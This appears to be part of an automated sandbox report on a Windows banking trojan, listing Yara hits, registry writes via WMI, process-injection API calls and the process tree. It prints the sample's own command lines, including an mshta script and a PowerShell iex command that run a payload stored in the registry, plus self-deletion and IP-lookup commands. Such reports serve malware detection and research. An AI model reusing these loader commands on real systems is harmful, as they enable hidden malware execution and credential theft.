Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a994a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a1a4a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.2GEg45PlG9.exe.20d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.25594a0.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2ac4ef0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000023.00000000.640272876.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.665585940.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.607122164.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397282239.0000000002A99000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.517379497.0000000002720000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.645879141.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.651725640.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.465481306.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.566373017.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.469185979.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.547994492.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.560669492.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.585352410.000002E0BE597000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.516035040.0000000002559000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.613095849.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.663821435.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.546791184.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.618879777.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.555920972.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.544941434.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397218720.0000000002A1A000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.661999238.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.466675811.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Disables SPDY (HTTP compression, likely to perform web injects)
Source: C:\Windows\explorer.exe Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0

System Summary:

barindex
Writes or reads registry keys via WMI
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::CreateKey
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetBinaryValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Writes registry values via WMI
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Users\user\Desktop\2GEg45PlG9.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Detected potential crypto function
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020D836E 1_2_020D836E
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020D7FBE 1_2_020D7FBE
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020DAFC0 1_2_020DAFC0
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0079B006 1_2_0079B006
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007913FA 1_2_007913FA
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007A2D8C 1_2_007A2D8C
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE59E4 21_2_00BE59E4
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE7548 21_2_00BE7548
Source: C:\Windows\System32\control.exe Code function: 21_2_00BCC3E4 21_2_00BCC3E4
Source: C:\Windows\System32\control.exe Code function: 21_2_00BC9098 21_2_00BC9098
Source: C:\Windows\System32\control.exe Code function: 21_2_00BC5420 21_2_00BC5420
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD4818 21_2_00BD4818
Source: C:\Windows\System32\control.exe Code function: 21_2_00BDC400 21_2_00BDC400
Source: C:\Windows\System32\control.exe Code function: 21_2_00BC847C 21_2_00BC847C
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE0468 21_2_00BE0468
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE8448 21_2_00BE8448
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD1C44 21_2_00BD1C44
Source: C:\Windows\System32\control.exe Code function: 21_2_00BC29B0 21_2_00BC29B0
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE91B0 21_2_00BE91B0
Source: C:\Windows\System32\control.exe Code function: 21_2_00BC65A8 21_2_00BC65A8
Source: C:\Windows\System32\control.exe Code function: 21_2_00BDB1D0 21_2_00BDB1D0
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD0DC8 21_2_00BD0DC8
Source: C:\Windows\System32\control.exe Code function: 21_2_00BDCDC4 21_2_00BDCDC4
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD993C 21_2_00BD993C
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD8974 21_2_00BD8974
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE3D68 21_2_00BE3D68
Source: C:\Windows\System32\control.exe Code function: 21_2_00BCAAB4 21_2_00BCAAB4
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD5AB4 21_2_00BD5AB4
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE9AA8 21_2_00BE9AA8
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD2A90 21_2_00BD2A90
Source: C:\Windows\System32\control.exe Code function: 21_2_00BDDEE8 21_2_00BDDEE8
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD52D0 21_2_00BD52D0
Source: C:\Windows\System32\control.exe Code function: 21_2_00BC1638 21_2_00BC1638
Source: C:\Windows\System32\control.exe Code function: 21_2_00BC5A1C 21_2_00BC5A1C
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD220C 21_2_00BD220C
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD77A0 21_2_00BD77A0
Source: C:\Windows\System32\control.exe Code function: 21_2_00BCCFF8 21_2_00BCCFF8
Source: C:\Windows\System32\control.exe Code function: 21_2_00BC9FC4 21_2_00BC9FC4
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE137C 21_2_00BE137C
Source: C:\Windows\System32\control.exe Code function: 21_2_00BC3764 21_2_00BC3764
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE1B4C 21_2_00BE1B4C
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D836459E4 31_2_0000023D836459E4
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83647548 31_2_0000023D83647548
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8363220C 31_2_0000023D8363220C
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83625A1C 31_2_0000023D83625A1C
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8363CDC4 31_2_0000023D8363CDC4
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83630DC8 31_2_0000023D83630DC8
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8363B1D0 31_2_0000023D8363B1D0
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D836265A8 31_2_0000023D836265A8
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D836229B0 31_2_0000023D836229B0
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D836491B0 31_2_0000023D836491B0
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83632A90 31_2_0000023D83632A90
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83621638 31_2_0000023D83621638
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83643D68 31_2_0000023D83643D68
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83638974 31_2_0000023D83638974
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8363993C 31_2_0000023D8363993C
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8363C400 31_2_0000023D8363C400
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83634818 31_2_0000023D83634818
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8362C3E4 31_2_0000023D8362C3E4
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8362CFF8 31_2_0000023D8362CFF8
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83629FC4 31_2_0000023D83629FC4
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D836377A0 31_2_0000023D836377A0
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83629098 31_2_0000023D83629098
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83640468 31_2_0000023D83640468
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8362847C 31_2_0000023D8362847C
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83631C44 31_2_0000023D83631C44
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83648448 31_2_0000023D83648448
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83625420 31_2_0000023D83625420
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8363DEE8 31_2_0000023D8363DEE8
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D836352D0 31_2_0000023D836352D0
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83649AA8 31_2_0000023D83649AA8
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83635AB4 31_2_0000023D83635AB4
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8362AAB4 31_2_0000023D8362AAB4
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83623764 31_2_0000023D83623764
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8364137C 31_2_0000023D8364137C
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83641B4C 31_2_0000023D83641B4C
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8365B5A4 31_2_0000023D8365B5A4
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0091B006 44_2_0091B006
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_009113FA 44_2_009113FA
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_00922D8C 44_2_00922D8C
Contains functionality to launch a process as a different user
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007960AD CreateProcessAsUserW, 1_2_007960AD
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
PE file contains strange resources
Source: 2GEg45PlG9.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2GEg45PlG9.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Uses 32bit PE files
Source: 2GEg45PlG9.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
Contains functionality to call native functions
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00401703 NtMapViewOfSection,VirtualAlloc, 1_2_00401703
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00401C90 GetProcAddress,NtCreateSection,memset, 1_2_00401C90
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_004019A0 NtQuerySystemInformation,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,GetLastError,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError, 1_2_004019A0
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020D9A0F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 1_2_020D9A0F
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020D9E79 NtMapViewOfSection, 1_2_020D9E79
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020D5CD1 GetProcAddress,NtCreateSection,memset, 1_2_020D5CD1
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020DB1E5 NtQueryVirtualMemory, 1_2_020DB1E5
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00591BF0 NtQuerySystemInformation,Sleep,CreateThread,QueueUserAPC,TerminateThread,SetLastError,WaitForSingleObject,GetExitCodeThread, 1_2_00591BF0
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00795021 RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, 1_2_00795021
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00790179 NtAllocateVirtualMemory,NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError, 1_2_00790179
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0078B156 NtWriteVirtualMemory,NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError, 1_2_0078B156
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007941CB memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64, 1_2_007941CB
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007992D7 GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA, 1_2_007992D7
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00790BF5 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 1_2_00790BF5
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007944DF NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64, 1_2_007944DF
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007A051D GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, 1_2_007A051D
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0078EED0 NtMapViewOfSection, 1_2_0078EED0
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0078E683 HeapFree,memcpy,memcpy,memcpy,NtUnmapViewOfSection,memset, 1_2_0078E683
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0079C779 GetProcAddress,NtCreateSection,memset, 1_2_0079C779
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007907E8 NtQueryInformationProcess, 1_2_007907E8
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0079C864 NtQuerySystemInformation,RtlNtStatusToDosError, 1_2_0079C864
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_007A017E VirtualAlloc,VirtualAlloc,GetLastError,GetLastError,SwitchToThread,GetLastError,GetLastError,RtlEnterCriticalSection,RtlLeaveCriticalSection,RtlExitUserThread,GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, 1_2_007A017E
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00782357 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError, 1_2_00782357
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0078B347 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, 1_2_0078B347
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0079FBD1 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, 1_2_0079FBD1
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00790465 memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError, 1_2_00790465
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0078840D NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW, 1_2_0078840D
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00796C90 NtGetContextThread,RtlNtStatusToDosError, 1_2_00796C90
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0078A63D memset,NtQueryInformationProcess, 1_2_0078A63D
Source: C:\Windows\System32\control.exe Code function: 21_2_00BDB080 NtMapViewOfSection, 21_2_00BDB080
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE70F8 NtCreateSection, 21_2_00BE70F8
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD74E0 RtlAllocateHeap,NtQueryInformationProcess, 21_2_00BD74E0
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD8078 NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification, 21_2_00BD8078
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD8844 NtWriteVirtualMemory, 21_2_00BD8844
Source: C:\Windows\System32\control.exe Code function: 21_2_00BD3104 NtAllocateVirtualMemory, 21_2_00BD3104
Source: C:\Windows\System32\control.exe Code function: 21_2_00BCB964 NtReadVirtualMemory, 21_2_00BCB964
Source: C:\Windows\System32\control.exe Code function: 21_2_00BDB164 NtQueryInformationProcess, 21_2_00BDB164
Source: C:\Windows\System32\control.exe Code function: 21_2_00BE4200 NtQueryInformationToken,NtQueryInformationToken,NtClose, 21_2_00BE4200
Source: C:\Windows\System32\control.exe Code function: 21_2_00BCC3E4 NtSetContextThread,NtUnmapViewOfSection,NtClose, 21_2_00BCC3E4
Source: C:\Windows\System32\control.exe Code function: 21_2_00BFB029 NtProtectVirtualMemory,NtProtectVirtualMemory, 21_2_00BFB029
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D83644200 NtQueryInformationToken,NtQueryInformationToken,NtClose, 31_2_0000023D83644200
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8363B164 NtQueryInformationProcess, 31_2_0000023D8363B164
Source: C:\Windows\System32\rundll32.exe Code function: 31_2_0000023D8365B00B NtProtectVirtualMemory,NtProtectVirtualMemory, 31_2_0000023D8365B00B
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_00915021 memset,CreateMutexA,CloseHandle,GetUserNameA,RtlAllocateHeap,NtQueryInformationProcess,OpenProcess,CloseHandle,memcpy,RtlAllocateHeap,OpenEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, 44_2_00915021
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_00910BF5 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 44_2_00910BF5
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0092051D GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, 44_2_0092051D
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_009107E8 NtQueryInformationProcess, 44_2_009107E8
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0091C864 NtQuerySystemInformation,RtlNtStatusToDosError, 44_2_0091C864
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0092017E VirtualAlloc,VirtualAlloc,GetLastError,GetLastError,SwitchToThread,GetLastError,GetLastError,RtlEnterCriticalSection,RtlLeaveCriticalSection,RtlExitUserThread,GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, 44_2_0092017E
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0091FBD1 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, 44_2_0091FBD1
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0090B347 OpenProcess,GetLastError,NtSetInformationProcess,RtlNtStatusToDosError,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, 44_2_0090B347
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0090A63D memset,NtQueryInformationProcess, 44_2_0090A63D
Sample file is different than original file name gathered from version info
Source: 2GEg45PlG9.exe, 00000001.00000003.460597344.0000000004284000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs 2GEg45PlG9.exe
Source: 2GEg45PlG9.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 2GEg45PlG9.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20211124 Jump to behavior
Source: classification engine Classification label: mal100.bank.troj.spyw.evad.winEXE@33/22@11/6
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: 2GEg45PlG9.exe ReversingLabs: Detection: 53%
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\2GEg45PlG9.exe "C:\Users\user\Desktop\2GEg45PlG9.exe"
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>J2ut='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(J2ut).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\a4dqpwui.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBB1D.tmp" "c:\Users\user\AppData\Local\Temp\CSC8C8ABE1FEF4C478388BEE18242C93FA2.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i3kd1hp5.cmdline
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE1B0.tmp" "c:\Users\user\AppData\Local\Temp\CSCB9FFCE128DE8401581818FC38CDBD6E1.TMP"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\2GEg45PlG9.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\A402.bi1"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\A402.bi1"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
